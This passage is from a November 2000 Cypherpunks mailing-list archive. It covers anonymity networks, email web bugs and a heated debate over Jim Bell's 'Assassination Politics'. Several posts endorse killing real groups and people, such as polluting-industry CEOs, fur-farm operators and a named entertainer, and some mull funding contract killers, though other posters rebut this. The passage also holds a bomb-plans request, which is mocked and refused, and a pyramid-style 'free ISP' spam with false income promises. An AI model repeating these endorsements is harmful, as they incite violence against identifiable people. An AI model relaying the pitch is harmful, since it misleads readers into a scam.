machines which hold the > keys which decrypt the reply blocks .. don't they get my email > address? Yes they would. Sorry to be ambiguous. You asked the question with "you" which sounded like ZKS, and ZKS couldn't in general decrypt the whole reply block (it would depend how many of the hops where ZKS nodes). Note there are multiple reply blocks -- default 3 -- to combat reliability and bit rot, so given the mix of ZKS nodes someone could end up with an all ZKS reply block. > The "Freedom 1.0 Security Issues and Analysis" whitepaper > at http://www.freedom.net/info/freedompapers/Freedom-Security.pdf > seems to agree that this attack works, in sections 2 and 4.5. Are > there plans to fix this? I gather that 2.x will eliminate reply > blocks - will it also eliminate this vulnerability? Yes. I mentioned this in the previous mail as a highlight of the new mail system in my view. That plus recording any traffic coming frmo the users machine is all protected by forward secret encryption with freedom 2.x. No keys protecting the outside layer are kept for more than 1/2 hour, and then only in RAM. > The legal analysis behind that security analysis deserves some > updating - in particular, a warrant isn't necessary to get at > information held by others, just a subpoena, and all it takes to > get a subpoena is filing a lawsuit, as has been demonstrated by > any number of aggrieved companies ridiculed on the Yahoo message > boards. It wasn't written by legal types -- Adam Shostack & Ian wrote it. I take it there are some legal inaccuracies in the description of legal process? Perhaps one of the lawyers should review those parts. Adam Disclaimer: as always these are my personal comments. From directmarketing at netzero.com Fri Nov 24 03:00:14 2000 From: directmarketing at netzero.com (Income Opportunity) Date: Fri, 24 Nov 2000 03:00:14 -0800 Subject: CDR: Earn $235 - $760 Or More Weekly At Home Guaranteed! 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Opportunity available only to U.S. Residents over the age of 18. 3VABW2E5QW From mix at mix2.hyperreal.pl Thu Nov 23 18:51:32 2000 From: mix at mix2.hyperreal.pl (Anonymous) Date: Fri, 24 Nov 2000 03:51:32 +0100 (CET) Subject: CDR: Re: Jim Bell arrested documents online Message-ID: <33cb7b9b78a24e4c2a189d004dd775c5@mix2.hyperreal.pl> >Anyway, the distinction between business and politics is less clear than >you make out - or seems less clear to many people in countries outside >America. In most places the government is in the pockets of the people >with the money - and in most places presidents and governors are quick This is a part of official mythology that very few americans escape. I also noticed seemingly intelligent people bending their brains to explain how something that business does is less evil than the same thing done by government. Apparently because businesses do not use guns. They are missing the fact that majority of people never encounter/use guns in their life, and that the principal way of behavioural control is propaganda/ideology. Most of the people in the industrial world are directly and tightly controlled by corporations, not governments. I have seen people that fear their bosses/corporate policies/landlords/ creditors more than they ever feared government - simply because they never had to deal with government on adverse terms. Their lives are not shaped by governments - business does that. That is the reality. But corporations did a great job of propping up the government as the target for frustration, and it shows. Long time ago I read a story about the guy whose job was to be fired: a company would screw up something, and the guy was hired, presented to be the company exec, and then humiliated and fired in front of the customer. Sounds familiar ? From reasonablewebsites at themail.com Fri Nov 24 06:46:31 2000 From: reasonablewebsites at themail.com (reasonablewebsites at themail.com) Date: Fri, 24 Nov 2000 06:46:31 -0800 (PST) Subject: CDR: Going Platinum ( Time is Running Out ) Message-ID: <200011241446.GAA21482@cyberpass.net> Hi, Have you considered your own internet business??? Here is a sure winner. It is a FREE ISP with no banners or Bars!!! Did you realize that every time you get on the internet you generate income for the ISP??? Well this company is paying that income back to the members of the company. Not only the income that you generate but the income that all your referrals create by their usage. Plus they pay you a commission for all of your referrals!!! For a short time there are two ways to get in. You can join for FREE and get 10 referrals to go BRONZE (you need to go BRONZE before you can receive commissions) or you can pay a very small fee of $25 to go BRONZE. This Company is going to LAUNCH the first of DECEMBER and then the option to pay $25 to Go BRONZE is gone, you will only be able to join for FREE. After the company launches the first of DECEMBER they are going to launch a world wide advertising campaign for free members, those free members will be placed under the founding members!!! This is very exciting!!! This is to good to be true, you say??? I have already received my first check so I know it is true and it works!!! Join Now! http://www.goingplatinum.com/member/herculies7 This ad will tell you about a WALL STREET JOURNAL that says they estimate 10 million people will join in the next 6 months...all of them being placed under the founding members. If you have ever desired a ground floor opportunity.....this is it!!!! You can not lose...at the very least you will get your ISP for free...if you decide to pay and go BRONZE...they have a money back unconditional guarentee that you will be satisfied!!! Do you know any one that would like to get their ISP free??? Especially with no pesty banners or bars??? Join Now! http://www.goingplatinum.com/member/herculies7 This is not spam we have done business in the past or we are friends. If you would like to be removed from this list just hit reply with remove in the subject and you will be promply removed!!! Have a GREAT day!!! :-) James E. DeNardo President Reasonable Web Sites reasonablewebsites at themail.com -------------- next part -------------- Hi, Have you considered your own internet business??? Here is a sure winner. It is a FREE ISP with no banners or Bars!!! Did you realize that every time you get on the internet you generate income for the ISP??? Well this company is paying that income back to the members of the company. Not only the income that you generate but the income that all your referrals create by their usage. Plus they pay you a commission for all of your referrals!!! For a short time there are two ways to get in. You can join for FREE and get 10 referrals to go BRONZE (you need to go BRONZE before you can receive commissions) or you can pay a very small fee of $25 to go BRONZE. This Company is going to LAUNCH the first of DECEMBER and then the option to pay $25 to Go BRONZE is gone, you will only be able to join for FREE. After the company launches the first of DECEMBER they are going to launch a world wide advertising campaign for free members, those free members will be placed under the founding members!!! This is very exciting!!! This is to good to be true, you say??? I have already received my first check so I know it is true and it works!!! Join Now! http://www.goingplatinum.com/member/herculies7 This ad will tell you about a WALL STREET JOURNAL that says they estimate 10 million people will join in the next 6 months...all of them being placed under the founding members. If you have ever desired a ground floor opportunity.....this is it!!!! You can not lose...at the very least you will get your ISP for free...if you decide to pay and go BRONZE...they have a money back unconditional guarentee that you will be satisfied!!! Do you know any one that would like to get their ISP free??? Especially with no pesty banners or bars??? Join Now! http://www.goingplatinum.com/member/herculies7 This is not spam we have done business in the past or we are friends. If you would like to be removed from this list just hit reply with remove in the subject and you will be promply removed!!! Have a GREAT day!!! :-) James E. DeNardo President Reasonable Web Sites reasonablewebsites at themail.com From tom at ricardo.de Fri Nov 24 03:59:21 2000 From: tom at ricardo.de (Tom Vogt) Date: Fri, 24 Nov 2000 06:59:21 -0500 Subject: CDR: Re: Software to Track E-Mail Raises Privacy Concerns References: Message-ID: <3A1E4A8A.6F52858@ricardo.de> "A. Melon" wrote: > The technology in question is seemingly innocuous: the ability of the latest e-mail programs to send and display images. E-mail senders use the feature, based on the Web's computer language, to create colorful messages known as HTML mail. > > But many also use it to embed tiny images that are invisible to the recipients. Marketers call them pixel tags and say they are used to gauge the success of e-mail campaigns. Privacy advocates prefer a more ominous name Ñ Web bugs. > one more reason that HTML in e-mails should die. From ravage at ssz.com Fri Nov 24 05:24:29 2000 From: ravage at ssz.com (Jim Choate) Date: Fri, 24 Nov 2000 07:24:29 -0600 (CST) Subject: CDR: Re: Software to Track E-Mail Raises Privacy Concerns In-Reply-To: <3A1E4A8A.6F52858@ricardo.de> Message-ID: On Fri, 24 Nov 2000, Tom Vogt wrote: > one more reason that HTML in e-mails should die. Actualy not. What people need to do is turn off auto-load of attachments and URL's in general (unless a specific mouse event occurs). This is a problem for MS machines more than any other OS I work with. ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From Boblox1 at aol.com Fri Nov 24 06:39:04 2000 From: Boblox1 at aol.com (Boblox1 at aol.com) Date: Fri, 24 Nov 2000 09:39:04 EST Subject: CDR: (no subject) Message-ID: From no.user at anon.xg.nu Fri Nov 24 07:51:27 2000 From: no.user at anon.xg.nu (No User) Date: Fri, 24 Nov 2000 09:51:27 -0600 Subject: CDR: Re: Jim Bell arrested, Message-ID: Good, bad, or whatever -- you ain't never going to put this genie back in the bottle. The AP meme is dispersed across the globe, it's only a matter of time now. From bear at sonic.net Fri Nov 24 10:14:48 2000 From: bear at sonic.net (Ray Dillinger) Date: Fri, 24 Nov 2000 10:14:48 -0800 (PST) Subject: CDR: Re: Jim Bell arrested, documents online In-Reply-To: <3A1E49EC.31D1C493@ricardo.de> Message-ID: On Fri, 24 Nov 2000, Tom Vogt wrote: >would most likely cast a couple new protection laws. say, make it >illegal to publish a politician's name. "our president has today..." Well, I guess that's *one* way to get political types to support the right to anonymity... Bear From bear at sonic.net Fri Nov 24 10:36:27 2000 From: bear at sonic.net (Ray Dillinger) Date: Fri, 24 Nov 2000 10:36:27 -0800 (PST) Subject: CDR: Re: Jim Bell arrested, documents online In-Reply-To: <20001124111028.A9581@ils.unc.edu> Message-ID: On Fri, 24 Nov 2000, Greg Newby wrote: > >Do people on this list really believe that the solution to >problems is to kill people? > >Or are we just getting sarcastic and frustrated? There are certain problems that no other solution for has ever been found. There has never been a human society that did not kill people. Even countries that don't execute criminals still slaughter enemy soldiers and civilians when they go to war. You can regard killing, of certain types of people anyway, as a service industry. Like all services, less of it is provided (and at a much higher cost) if there is a monopoly on it. Since we tend to like a minimum of killing, but are willing to pay the high costs for the truly necessary amount of killing, humans have mostly seen fit to institute monopolies on killing, regulate them fairly tightly, and refer to them as governments. In a governed state, it is your civic duty to uphold the monopoly. You must refrain from doing the killing yourself unless the power to kill delegated to the government is redelegated to you by the government. In an ungoverned state, it is your civic duty to stop psychopaths and sociopaths yourself, since you've no government to delegate that duty to in the first place. And to do so, generally you must kill. The "Needs Killing" verbiage you see here, I think, is mostly from people who, correctly or not, tend to think in terms either of there not being any governments, or in terms of the government being so ineffective that they are effectively in an ungoverned state. Bear From anmetet at mixmaster.shinn.net Fri Nov 24 07:43:20 2000 From: anmetet at mixmaster.shinn.net (An Metet) Date: Fri, 24 Nov 2000 10:43:20 -0500 Subject: No subject Message-ID: <2cc060fe1497c3e461bfb32c1d1482ce@mixmaster.shinn.net> Ken complained: >I've taken part in political demonstrations against private companies & >I've worked in offices that were picketed or invaded by demonstrators. >I've also worked in a building whose windows were broken by a bomb in >the street. The bomb wasn't directed against us, but against another >business on the other side of the street - the Harrods department store. >On another occasion Harrods was bombed in protest against their selling >fur. Farms that breed animals for experiments have been attacked and >there have been attempts on the lives of the managers and owners of such >places. Yes, that's the beauty of it -- AP is a veritable Swiss army knife type tool. You have a problem with this? Shouldn't the CEO's of polluting industries be killed? And people who run fur farms and vivisection centers? For that matter, people who run factory pig and chicken farms should be ground up and fed to the animals they abuse. From tcmay at got.net Fri Nov 24 10:56:31 2000 From: tcmay at got.net (Tim May) Date: Fri, 24 Nov 2000 10:56:31 -0800 Subject: CDR: "Needs killing" In-Reply-To: References: Message-ID: At 10:36 AM -0800 11/24/00, Ray Dillinger wrote: > >The "Needs Killing" verbiage you see here, I think, is mostly from >people who, correctly or not, tend to think in terms either of there >not being any governments, or in terms of the government being so >ineffective that they are effectively in an ungoverned state. > No, you're still not up on the past traffic on this list. Which makes having you be an _interpreter_ all the more strange. Saying "Gun grabbers need killing" is a statement about what is moral. It doesn't depend on whether government is effective or not, or whether it exists or not. --Tim May -- (This .sig file has not been significantly changed since 1992. As the election debacle unfolds, it is time to prepare a new one. Stay tuned.) From gbnewby at ils.unc.edu Fri Nov 24 08:10:29 2000 From: gbnewby at ils.unc.edu (Greg Newby) Date: Fri, 24 Nov 2000 11:10:29 -0500 Subject: CDR: Re: Jim Bell arrested, documents online In-Reply-To: <3A1E49EC.31D1C493@ricardo.de>; from tom@ricardo.de on Fri, Nov 24, 2000 at 11:58:52AM +0100 References: <200011222215.eAMMFEL10403@artifact.psychedelic.net> <3A1E49EC.31D1C493@ricardo.de> Message-ID: <20001124111028.A9581@ils.unc.edu> Do people on this list really believe that the solution to problems is to kill people? Or are we just getting sarcastic and frustrated? (Yes, I know Tim May believes people should be killed, but he's just a fuckhead bag of hot air.) Seems to me that anarchy where people solve their problems by killing people isn't much of a solution to anything. Relying on strong crypto to maintain anonymity so that nobody finds and kills YOU, but you can work to kill public figures, is placing your life in the hands of your crypto. Empower yourself by killing others, or by working to kill them? That sounds pretty lame. -- Greg On Fri, Nov 24, 2000 at 11:58:52AM +0100, Tom Vogt wrote: > > petro wrote: > > > > >Oh come now. You have real recourse against Bill Gates and John Tesh > > > > Bill Gates is a questionable case, but there is no doubt that > > John Tesh should die. > > if everyone who hates windos puts $10 in a box, you'd need quite a large > box. which makes one wonder why the guy is still alive. or why Linus is > still alive, given the fact that M$ could easily pay for the most > professional contract killers on the globe. I mean: all of them. > > > > > > It really is only the mentally disturbed that kill for any > > reason other than self defense or other *huge* cause. > > > > 10 million dollars is, IMO a huge cause. > > the only problem I have with this is that it tends to get the > figureheads killed. not the biggest assholes, but the somewhat-assholes > with a high publicity. instead of learning responsibility, government > would most likely cast a couple new protection laws. say, make it > illegal to publish a politician's name. "our president has today..." From honig at sprynet.com Fri Nov 24 08:32:50 2000 From: honig at sprynet.com (David Honig) Date: Fri, 24 Nov 2000 11:32:50 -0500 Subject: CDR: Re: Jim Bell arrested documents online In-Reply-To: <33cb7b9b78a24e4c2a189d004dd775c5@mix2.hyperreal.pl> Message-ID: <3.0.6.32.20001124082904.007fa3e0@pop.sprynet.com> At 09:58 PM 11/23/00 -0500, Anonymous wrote: > >Apparently because businesses do not use guns. > >They are missing the fact that majority of people never encounter/use >guns in their life, and that the principal way of behavioural control >is propaganda/ideology. Most of the people in the industrial world are >directly and tightly controlled by corporations, not governments. > But the threat of coercion is not so abstract: you *do* see guns on the hip of every cop or park ranger you run into. And 'cop shows' detail the paramilitary forces ready to knock down your doors. I have yet to see free-ranging IKEA police threatening the citizens or constitution recently. From rah at shipwright.com Fri Nov 24 08:38:18 2000 From: rah at shipwright.com (R. A. Hettinga) Date: Fri, 24 Nov 2000 11:38:18 -0500 Subject: CDR: The Greenwood Position (was ip: We must all speak for America.) Message-ID: --- begin forwarded text From tom at ricardo.de Fri Nov 24 02:52:47 2000 From: tom at ricardo.de (Tom Vogt) Date: Fri, 24 Nov 2000 11:52:47 +0100 Subject: CDR: Toshiba to add fingerprint scanner References: Message-ID: <3A1E487F.37955597@ricardo.de> Jim Choate wrote: > > It's on the CNN homepage. > > They're using the Identix DFR-300 & 'BioLogon' in the <$200 range. when the first fingerprint scanners (attached to keyboards) appeared on the CEBIT (europe's COMDEX or whatever other #1 computer tech event you have) I asked someone at the booth if they included anything in the device to protect it against the most basic tampering processes (like sniffing on the cable and then reproducing the "yeah, he's clear" signal later). the answer was an astonished look. there's too many people out there who put $500 locks on glass doors. From ravage at EINSTEIN.ssz.com Fri Nov 24 09:52:47 2000 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Fri, 24 Nov 2000 11:52:47 -0600 (CST) Subject: CDR: Re: your mail In-Reply-To: <2cc060fe1497c3e461bfb32c1d1482ce@mixmaster.shinn.net> Message-ID: On Fri, 24 Nov 2000, An Metet wrote: > Yes, that's the beauty of it -- AP is a veritable Swiss army knife > type tool. You have a problem with this? Shouldn't the CEO's of polluting > industries be killed? No, the polution should end. > And people who run fur farms and vivisection centers? Like your local hospital? > For that matter, people who run factory pig and chicken farms should be > ground up and fed to the animals they abuse. Let me guess, a PETA poster child.... Animal use is not abuse you idjit. AP doesn't work because threatening people doesn't work. AP's fundamental flaw is that it is not any different, except in degree (or level of schizophrenia) that the system is supposedly 'fixes'. Another prime example of why anarcho-crypto views are fundamentaly socialist; "Do it my way or die." ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From ravage at EINSTEIN.ssz.com Fri Nov 24 09:54:32 2000 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Fri, 24 Nov 2000 11:54:32 -0600 (CST) Subject: CDR: Re: Jim Bell arrested, In-Reply-To: Message-ID: On Fri, 24 Nov 2000, No User wrote: > Good, bad, or whatever -- you ain't never going to put this genie > back in the bottle. The AP meme is dispersed across the globe, it's > only a matter of time now. A matter of time til what? It's finaly recognized for the sophmoric insanity it is? I believe that day has come and gone for most folks. The only remaining bastions of AP support are the nut-cases whose solution to any personal problem is to kill 'it'. Same old shit, new colors on the box. ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From tom at ricardo.de Fri Nov 24 02:58:52 2000 From: tom at ricardo.de (Tom Vogt) Date: Fri, 24 Nov 2000 11:58:52 +0100 Subject: CDR: Re: Jim Bell arrested, documents online References: <200011222215.eAMMFEL10403@artifact.psychedelic.net> Message-ID: <3A1E49EC.31D1C493@ricardo.de> petro wrote: > > >Oh come now. You have real recourse against Bill Gates and John Tesh > > Bill Gates is a questionable case, but there is no doubt that > John Tesh should die. if everyone who hates windos puts $10 in a box, you'd need quite a large box. which makes one wonder why the guy is still alive. or why Linus is still alive, given the fact that M$ could easily pay for the most professional contract killers on the globe. I mean: all of them. > It really is only the mentally disturbed that kill for any > reason other than self defense or other *huge* cause. > > 10 million dollars is, IMO a huge cause. the only problem I have with this is that it tends to get the figureheads killed. not the biggest assholes, but the somewhat-assholes with a high publicity. instead of learning responsibility, government would most likely cast a couple new protection laws. say, make it illegal to publish a politician's name. "our president has today..." From ravage at EINSTEIN.ssz.com Fri Nov 24 10:01:51 2000 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Fri, 24 Nov 2000 12:01:51 -0600 (CST) Subject: CDR: Re: Jim Bell arrested, documents online In-Reply-To: <20001124111028.A9581@ils.unc.edu> Message-ID: On Fri, 24 Nov 2000, Greg Newby wrote: > Do people on this list really believe that the solution to > problems is to kill people? No, only a very small faction of crypto-anarchists (better known as the terminaly self-indulged). The vast majority of people on this list (and elsewhere) for that matter understand the concept of self-defence and recognize its distinction from "I have a right to kill a person" bullshit. > Or are we just getting sarcastic and frustrated? No, Tim and a handful of others have been spouting this crap since day one. Check the archives. > (Yes, I know Tim May believes people should be killed, but > he's just a fuckhead bag of hot air.) A well armed fuckhead bag of hot air you mean... > Seems to me that anarchy where people solve their problems > by killing people isn't much of a solution to anything. Relying > on strong crypto to maintain anonymity so that nobody finds > and kills YOU, but you can work to kill public figures, is > placing your life in the hands of your crypto. > > Empower yourself by killing others, or by working to kill them? > That sounds pretty lame. Nothing wrong with your deductive powers. This observation with respect to anarchy is why the vast majority (99.999% perhaps?) of people have enough of a clue to pass it by. It's worth mentioning that the only 'working' anarchy (Iceland) had to legalize murder in order to build a system that didn't break down into a Hatfields-McCoy type scenario. It's also worth mentioning that after several attempts at exporting it to other Scandanavian countries it died an ingnoble death. ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From tcmay at got.net Fri Nov 24 13:21:08 2000 From: tcmay at got.net (Tim May) Date: Fri, 24 Nov 2000 13:21:08 -0800 Subject: CDR: i need phosphorus bomb plans In-Reply-To: <99.d0169ba.27500d75@gateway.net> References: <99.d0169ba.27500d75@gateway.net> Message-ID: At 1:29 PM -0500 11/24/00, KOUNTRY7 at gateway.net wrote: >my name is hate 669 i need phosphorus bomb plans Ms. Fishbein, We've already informed Sen. Feinstein's office that we will no longer process "help us make bombz" requests from her legislative assistants and interns. If Sen Feinstein wishes more evidence for her crusade to curtail speech, let her make the bomb requests herself. As always, --Tim May -- Voluntary Mandatory Self-Rating of this Article (U.S. Statute 43-666-970719). Warning: Failure to Correctly and Completely Label any Article or Utterance is a Felony under the "Children's Internet Safety Act of 1997," punishable by 6 months for the first offense, two years for each additional offense, and a $100,000 fine per offense. Reminder: The PICS/RSACi label must itself not contain material in violation of the Act. ** PICS/RSACi Voluntary Self-Rating (Text Form) ** : Suitable for Children: yes Age Rating: 5 years and up. Suitable for Christians: No Suitable for Moslems: No Hindus: Yes Pacifists: No Government Officials: No Nihilists: Yes Anarchists: Yes Vegetarians: Yes Vegans: No Homosexuals: No Atheists: Yes Caucasoids: Yes Negroids: No Mongoloids: Yes Bipolar Disorder: No MPD: Yes and No Attention Deficit Disorder:Huh? --Contains discussions of sexuality, rebellion, anarchy, chaos,torture, regicide, presicide, suicide, aptical foddering. --Contains references hurtful to persons of poundage and people of color.Sensitive persons are advised to skip this article. **SUMMARY** Estimated number of readers qualified to read this: 1 Composite Age Rating: 45 years From ravage at EINSTEIN.ssz.com Fri Nov 24 11:22:45 2000 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Fri, 24 Nov 2000 13:22:45 -0600 (CST) Subject: CDR: Re: Jim Bell arrested, documents online In-Reply-To: Message-ID: On Fri, 24 Nov 2000, Ray Dillinger wrote: > There are certain problems that no other solution for has ever > been found. And this one doesn't either. > There has never been a human society that did not kill people. People kill people you idiot. Don't confuse WHAT and HOW something is done with the WHY. 'the government' never did a damn thing. It can't because it isn't. > Even countries that don't execute criminals still > slaughter enemy soldiers and civilians when they go to war. So? Self-defence isn't the same as murder. > You can regard killing, of certain types of people anyway, as a > service industry. I believe this is called bigotry. AP, and anarchy in general, is the scream of the failed. Those who have given up and agreed to be subsumed by their basest nature. ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From ravage at ssz.com Fri Nov 24 11:25:18 2000 From: ravage at ssz.com (Jim Choate) Date: Fri, 24 Nov 2000 13:25:18 -0600 (CST) Subject: CDR: Re: "Needs killing" In-Reply-To: Message-ID: On Fri, 24 Nov 2000, Tim May wrote: > At 10:36 AM -0800 11/24/00, Ray Dillinger wrote: > > > >The "Needs Killing" verbiage you see here, I think, is mostly from > >people who, correctly or not, tend to think in terms either of there > >not being any governments, or in terms of the government being so > >ineffective that they are effectively in an ungoverned state. > > > > No, you're still not up on the past traffic on this list. Which makes > having you be an _interpreter_ all the more strange. > > Saying "Gun grabbers need killing" is a statement about what is > moral. It doesn't depend on whether government is effective or not, > or whether it exists or not. No it's actualy an over-blown generalization with little if any application to the real world. If ANY 'gun grabber' deserves to be killed then self-defence is not justifiable. After all, you're just trying to 'grab' the gun of your assailant. So much for your 'moral'. ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From KOUNTRY7 at gateway.net Fri Nov 24 10:29:09 2000 From: KOUNTRY7 at gateway.net (KOUNTRY7 at gateway.net) Date: Fri, 24 Nov 2000 13:29:09 EST Subject: CDR: (no subject) Message-ID: <99.d0169ba.27500d75@gateway.net> my name is hate 669 i need phosphorus bomb plans From petro at bounty.org Fri Nov 24 13:57:07 2000 From: petro at bounty.org (petro) Date: Fri, 24 Nov 2000 13:57:07 -0800 Subject: CDR: Re: Jim Bell arrested, documents online In-Reply-To: <20001124111028.A9581@ils.unc.edu> References: <200011222215.eAMMFEL10403@artifact.psychedelic.net> <3A1E49EC.31D1C493@ricardo.de> <20001124111028.A9581@ils.unc.edu> Message-ID: >Do people on this list really believe that the solution to >problems is to kill people? > >Or are we just getting sarcastic and frustrated? > >(Yes, I know Tim May believes people should be killed, but >he's just a fuckhead bag of hot air.) > >Seems to me that anarchy where people solve their problems >by killing people isn't much of a solution to anything. Relying Tell that to the Third Reich. Oh, I forgot, you can't. They're dead. -- A quote from Petro's Archives: ********************************************** "Despite almost every experience I've ever had with federal authority, I keep imagining its competence." John Perry Barlow From ravage at ssz.com Fri Nov 24 12:09:33 2000 From: ravage at ssz.com (Jim Choate) Date: Fri, 24 Nov 2000 14:09:33 -0600 (CST) Subject: CDR: Re: Jim Bell arrested, documents online In-Reply-To: <200011241918.OAA29263@tisch.mail.mindspring.net> Message-ID: On Fri, 24 Nov 2000, John Young wrote: > Bear surmised: > > >The "Needs Killing" verbiage you see here, I think, is mostly from > >people who, correctly or not, tend to think in terms either of there > >not being any governments, or in terms of the government being so > >ineffective that they are effectively in an ungoverned state. > > Hold on. "Needs killing" is an epithet, like "fuck your mother" > or in earlier theocratic days, "go to hell." It's a residue of a time > when killing somebody who profaned your beliefs was done. Perhaps for you, for others it is a serious expression of their goals. You seriously (intentionlay?) mis-represent the situation with this view. The belief is codified in "MAD". ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From petro at bounty.org Fri Nov 24 14:10:58 2000 From: petro at bounty.org (petro) Date: Fri, 24 Nov 2000 14:10:58 -0800 Subject: CDR: Re: Jim Bell arrested, documents online In-Reply-To: References: Message-ID: >The "Needs Killing" verbiage you see here, I think, is mostly from >people who, correctly or not, tend to think in terms either of there >not being any governments, or in terms of the government being so >ineffective that they are effectively in an ungoverned state. > Or from people who feel the government has lost it's moral authority to be the single arbiter of the use of force. -- A quote from Petro's Archives: ********************************************** "Despite almost every experience I've ever had with federal authority, I keep imagining its competence." John Perry Barlow From jya at pipeline.com Fri Nov 24 11:11:19 2000 From: jya at pipeline.com (John Young) Date: Fri, 24 Nov 2000 14:11:19 -0500 Subject: CDR: Re: Jim Bell arrested, documents online In-Reply-To: References: <20001124111028.A9581@ils.unc.edu> Message-ID: <200011241918.OAA29263@tisch.mail.mindspring.net> Bear surmised: >The "Needs Killing" verbiage you see here, I think, is mostly from >people who, correctly or not, tend to think in terms either of there >not being any governments, or in terms of the government being so >ineffective that they are effectively in an ungoverned state. Hold on. "Needs killing" is an epithet, like "fuck your mother" or in earlier theocratic days, "go to hell." It's a residue of a time when killing somebody who profaned your beliefs was done. It gets attention in some circles for different reasons. I like to read it because it reminds of my childhood in Texas when it was used with deliberate intent, and not used casually, for it could led to getting killed yourself, in justifiable self-defense. Back then, saying "fuck your mother" was said only by the Mexicans, "chinga tu madre," or something thing like that, and it always led to physical mayhem among the god-fearing who felt obliged to protect the virginity of their mother. Don't laugh. Men killed each other for that. I got my ass whipped for using phrase on a Mex-Tex buddy, no pause, he just methodicaly beat me to shit. There are still people around whom you better not say to their face, "you need killing." Those with guns, for example. It's okay on the Internet, though, hell, you can even threaten to kill a particular judge if you mean it as a joke. Greg, ease up, everybody here knows AP is a prank. Jim Bell and Jeff Gordon are a "seven forbidden words" comedy team. Not that Western Washington District has caught on yet that AP's only "fuck your mother." From tom at ricardo.de Fri Nov 24 05:34:54 2000 From: tom at ricardo.de (Tom Vogt) Date: Fri, 24 Nov 2000 14:34:54 +0100 Subject: CDR: Re: Software to Track E-Mail Raises Privacy Concerns References: Message-ID: <3A1E6E7E.677BD8F2@ricardo.de> Jim Choate wrote: > > one more reason that HTML in e-mails should die. > > Actualy not. What people need to do is turn off auto-load of attachments > and URL's in general (unless a specific mouse event occurs). This is a > problem for MS machines more than any other OS I work with. yes, turning off image-auto-load, as well as javascript, java and another half dozen extensions, plugins, whatever would help. until someone finds a new way. killing HTML is the easier and more reliable solution. From ravage at ssz.com Fri Nov 24 13:00:37 2000 From: ravage at ssz.com (Jim Choate) Date: Fri, 24 Nov 2000 15:00:37 -0600 (CST) Subject: CDR: Golden Rice [ /. ] Message-ID: An interesting aspect of IP and meatspace reality over on, http://slashdot.org My view, destroy IP. ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From ravage at ssz.com Fri Nov 24 13:20:44 2000 From: ravage at ssz.com (Jim Choate) Date: Fri, 24 Nov 2000 15:20:44 -0600 (CST) Subject: CDR: Re: Jim Bell arrested documents online (fwd) Message-ID: At 09:58 PM 11/23/00 -0500, Anonymous wrote: >Apparently because businesses do not use guns. > >They are missing the fact that majority of people never encounter/use >guns in their life, and that the principal way of behavioural control >is propaganda/ideology. Most of the people in the industrial world are >directly and tightly controlled by corporations, not governments. Bullshit on all points. If you don't believe businesses don't use guns then you should check around. Hell, my local grocery has an armed guard at the front entrance when it's open (and other times I suspect). Tell this to your local mid-level drug dealer. Most people encounter a gun at least daily within say 50 ft. of their person, thought they may not be aware of it or individualy handle it. Most people, industrial country or not, are controlled by the beliefs they hold and what they believe is acceptable. Corporations and governments are as much a victim of this as the individual is. ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From ravage at EINSTEIN.ssz.com Fri Nov 24 13:44:36 2000 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Fri, 24 Nov 2000 15:44:36 -0600 Subject: CDR: Reviews February 1997 Message-ID: <3A1EE144.3BA9B710@ssz.com> http://www.securitymanagement.com/library/000310.html -- ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- -------------- next part -------------- A non-text attachment was scrubbed... Name: 000310.html Type: text/html Size: 11243 bytes Desc: not available URL: From kelsey.j at ix.netcom.com Fri Nov 24 12:59:42 2000 From: kelsey.j at ix.netcom.com (John Kelsey) Date: Fri, 24 Nov 2000 15:59:42 -0500 Subject: CDR: Re: Public Key Infrastructure: An Artifact... In-Reply-To: References: <8525699F.005D612E.00@lnsunr02.fl.firstdata.com> Message-ID: <4.1.20001123030759.0094bf00@pop.ix.netcom.com> A non-text attachment was scrubbed... Name: not available Type: application/pgp Size: 1725 bytes Desc: not available URL: From carskar at netsolve.net Fri Nov 24 